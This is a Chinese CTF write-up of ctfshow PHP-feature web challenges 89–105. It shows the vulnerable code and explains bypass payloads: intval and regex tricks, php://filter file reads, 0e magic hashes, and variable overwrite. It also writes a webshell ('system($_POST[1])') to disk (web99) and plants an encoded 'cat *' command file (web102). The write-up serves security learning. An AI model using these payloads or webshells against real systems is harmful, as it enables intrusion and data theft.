cfshow-web入门-php特性
web89
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if(preg_match("/[0-9]/", $num)){die("no no no!");}if(intval($num)){echo $flag;}
}
正则匹配检查不能是数字,但后面要求必须是数字才能输出flag。
这种情况是利用数组的特性,正则匹配是检测数组返回0,intval()函数是遇到数组返回为1,所以数组是完美的绕过方式。
?num[]=1
web90
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(intval($num,0)===4476){echo $flag;}else{echo intval($num,0);}
典型的intval()函数绕过。intval函数介绍:
int intval( $var, $base )参数
$var:需要转换成 integer 的「变量」
$base:转换所使用的「进制」
进制自动转换
base 为空时,默认进制转换。
0开头,默认转换为8进制
0x开头,默认转换为16进制
其他均转换为10进制。
返回值
返回值为 integer 类型,可能是 0 或 1 或 其他integer 值。
0:失败 或 空array 返回 0 1:非空array 返回 1 其他integer值:成功时 返回 $var 的 integer 值。
返回值的「最大值」取决于系统
32 位系统(-2147483648 到 2147483647) 64 位系统(-9223372036854775808到9223372036854775807)
intval()绕过思路
1)当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。 2)对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。 3)当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。 4)当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号) 5)当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。 6)当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。
web91
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){if(preg_match('/^php$/i', $a)){echo 'hacker';}else{echo $flag;}
}
else{echo 'nonononono';
}
这道题目考点:正则匹配的两种不同模式。
/im:不忽略大小写,且匹配多行。
/i: 不忽略大小写
因此这道题目的解法在于添加换行符:%0a,并且出现php字符串。
?cmd=%0aphp
web93
对于intval()函数的绕过有多种方法:十进制,十六进制,八进制。
禁用字符的话则十六进制无法使用。
web94
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(!strpos($num, "0")){die("no no no!");}if(intval($num,0)===4476){echo $flag;}
}
增加了strpos()函数的过滤,该函数用来检测字符在变量中第一次出现的位置,有的话返回1。
所以绕过方法是使用小数点绕过。或者以八进制的形式绕过。
?num=4437.0
?num=+010574
但0不能再开头,因为在开头strpos()函数的返回值是0,字符串的下标位置是以0开头的,所以strpos()函数的返回值是0,仍然无法饶过。
web95
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(preg_match("/[a-z]|\./i", $num)){die("no no no!!");}if(!strpos($num, "0")){die("no no no!!!");}if(intval($num,0)===4476){echo $flag;}
}
由于过滤了小数点,因此小数无法使用,只能用八进制进行绕过。 在使用八进制的时候要注意因为
?num=+010574
与web94一毛一样。
web96
考察如何在当前目录下读取文件。
./表示当前的目录,因此./flag.php既可绕过对flag.php的绕过,又可以查看当前目录文件。
另一种方法:使用伪协议的方式进行读取文件。
?u=php://filter/read=convert.base64-encode/resource=flag.php
该题不能使用日志包含漏洞,一句话木马被过滤。
web97
MD5碰撞:
使用数组进行绕过,数组md5检测时无法进行检测,返回值为null。因此绕过检测。
web98
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
考察了三元运算符,以及get 和 post的传参方法。
$GET?$GET=&$_POST:'flag'; 这句代码决定了存在get传参为真,则get传参改编为post传参。
中间代码没有作用,只在最后HTTP_FLAG中以post传入参数flag,即会执行$flag。
所以payload:
get:?1
post:HTTP_FLAG=flag
第二种方法:
利用cookie进行传值。
因为进行get传参后,传参方法由get变为post。
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; <=> $_POST['flag']=='flag'?$_GET=&$_COOKIE:'flag'所以在post传入flag=flag,则 $POST['flag']=='flag'?$GET=&$_COOKIE:'flag'为真,所以传参位置改变为cookie位置。因此在cookie位置传入:HTTP_FLAG=flag,也能得到flag。
web99
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}
?>
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
代码解释:
for ($i=36; $i < 0x36d; $i++)
这是一个 for 循环。循环从 $i=36 开始,并在每次循环时自增 $i,直到 $i 达到 0x36d。
0x36d 是一个十六进制数,转换为十进制为 877。
所以循环会从 $i=36 到 $i=876,总共执行 876 - 36 + 1 = 841 次。
array_push($allow, rand(1, $i));
在每次循环中,调用 rand(1, $i) 函数生成一个介于 1 和 $i 之间的随机整数,然后使用 array_push 函数将这个随机数添加到数组 $allow 中。
例如,在第一次循环中, $i=36,那么 rand(1, 36) 会生成一个 1 到 36 之间的随机整数。
在下一次循环中, $i=37,因此 rand(1, 37) 会生成 1 到 37 之间的随机整数,以此类推,直到 $i=876。
总结:该代码是生成1-876之间的随机数。漏洞点:in_array()函数。
in_array(search, array, type),第一个是指定匹配的数字,第二个是产生匹配数字的数组,第三个是true则判断类型,false,则不判断。
在php中存在数字的字符串和数字进行比较时,会忽略掉数字后后面的其他字符串。因此payload为:
get:?n=1.php 这里的5可以是任意数字,因为题目使用随机数在数组里插入值,因此多试几次就能够匹配正确。
post:写入一句话木马 content=?php@eval($_REQUEST['a']);?
出现问题:一句话木马不能成功执行,该用wp上的php代码。
content=<?php system($_POST[1]);?>,这句后门shell,是写入1.php这个文件,这与file_put_contents函数有关,第一个参数指定要写入的文件。
web100
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");}}}
?>
有v1, v2, v3 三个参数,
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
这句代码在执行了 is_numeric($v1) 后,就会先执行后面的判断语句,因此要保证v0为真,只需要使得v1为数字。在下面的判断语句中,v2不能出现 ;v3需要出现 ;在eval()函数中会将字符串当做命令进行执行,因此需要在v2 或者 v3的传入读取class ctfshow($ctfshow)的命令。
payload :?v1=1&v2=var_dump($ctfshow)&v3=/**/; var_dump输出$ctfshow的内容
?v1=1&v2=var_dump($ctfshow)&v3=;
?v1=1&v2=var_dump($ctfshow)/&v3=/;
三种payload都能够输出$ctfshow的内容。所以这里v3中的分号是表示执行完整php代码,因此不可缺少。加/**/
应该是为了注释掉v2和v3之间的字符串。
web101
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){eval("$v2('ctfshow')$v3");}}}
?>
payload : ?v1=12&v2var_dump($ctfshow/&v3=/);
该题与上一题不同,不能使用var_dump()函数。因为v2, v3分别过滤了)和(。
该题由于是要调用类,所以可以利用 new Reflectionclass建立反射类,利用反射类可以返回类的元数据信息。
反射类返回元数据信息如下:
在 PHP 中,元数据(metadata)是指关于代码和程序的描述信息,包括类、属性、方法和参数等。元数据可以在运行时动态地获取和操作,这使得 PHP 应用程序可以更加灵活和可扩展。
payload: ?v1=1&v2=echo new Reflectionclass&v3=;
flag少了一位,并不是全部的字母和数字都要尝试,该flag是由a-f+0-9的内容组成,所以只需要在这几个里面尝试就可以。
flag = ctfshow{ee8f6db0-f4c2-4a1d-9b81-894e27574fa5}
web102
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);
}
else{die('hacker');
}
?>
substr()函数,是截取字符串中的字符。
substr ( string `$string` , int `$start` [, int `$length` ] )
string `$string`:需要截取的字符串
int `$start`:开始截取的位置
[, int `$length` ]:截取字符串的长度。call_user_func($v1,$s) 函数的一种调用形式
第一个参数是要调用的函数,第二个是调用函数的参数。file_put_contents($v3,$str);
$v3创建文件,$str写入文件内容。通过各函数对参数的调用,得出每个参数应该要做的工作:
v1:调用的函数
v2:写入文件的内容
v3:是要创建的文件。
由于要忽略v2的前两个字符,因此该题目要通过16进制的方式绕过。
v2 = <?=
cat *
; (该代码是查看文件夹中全部文件的内容,简写的原因是:is_numeric()函数对输入的数字有长度限制(大致是18位))v3 = php://filter/write=convert.base64-decode/resource=2.php
利用base64伪协议的方法创建一个文件,因此v2的内容要进行base64加密:
v2 = PD89YGNhdCAqYDs(base64后面的等号可以去掉)
因为要绕过is_numeric()函数,所以需要还要将v2的内容进行16进制转化,要转化为16进制的ascii。
v2 = 115044383959474e6864434171594473
这里要注意:因为v2要忽略前面的两个字符,所以需要在16进制前随便加两个数字。
由于v1是执行的函数,所以可以将v2的内容从16进制转化为base64编码。从而访问2.php可以得到当前文件夹文件的信息。
v1 = hex2bin
hex2bin ( string `$data` ) : string 转换十六进制字符串为二进制字符串。
结果:
web103
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;if(!preg_match("/.*p.*h.*p.*/i",$str)){file_put_contents($v3,$str);}else{die('Sorry');}
}
else{die('hacker');
}
?>
增加了过滤,但是仍然可以用web102的payload的绕过。
web104
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2)){echo $flag;}
}
?>
md5: 240610708:0e462097431906509019562988736854 QLTHNDT:0e405967825401955372549139051580 QNKCDZO:0e830400451993494058024219903391 PJNPDWY:0e291529052894702774557631701704 NWWKITQ:0e763082070976038347657360817689 NOOPCJF:0e818888003657176127862245791911 MMHUWUV:0e701732711630150438129209816536 MAUXXQC:0e478478466848439040434801845361 sha1: 10932435112: 0e07766915004133176347055865026311692244 aaroZmOk: 0e66507019969427134894567494305185566735 aaK1STfY: 0e76658526655756207688271159624026011393 aaO8zKZF: 0e89257456677279068558073954252716165668 aa3OFF9m: 0e36977786278517984959260394024281014729 0e1290633704: 0e19985187802402577070739524195726831799
paylaod1:相同字符:
v1 =a v2=a
payload2:数组
v1[]=1 v2[]=2
payload3: 选择特殊字符串
v1 = aaroZmOk: 0e66507019969427134894567494305185566735 v2 = aaK1STfY: 0e76658526655756207688271159624026011393
web105
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){if($key==='error'){die("what are you doing?!");}$$key=$$value;
}foreach($_POST as $key => $value){if($value==='flag'){die("what are you doing?!");}$$key=$$value;
}
if(!($_POST['flag']==$flag)){die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
你还想要flag嘛?
$$key = $$value get: ?flag = flag
该题目考点是变量覆盖:
方法一:
get传入:?suces = flag
post传入:error = suces
在变量覆盖以后,$error中的值即为$flag。因此在if(!($_POST['flag']==$flag))判断语句中执行die()函数即可输出flag。
方法二:
get传参:?suces = flag&flag=
这样的方式能够绕过第三个判断,执行最后的echo语句。但是如何绕过post传参的第三个判断不理解。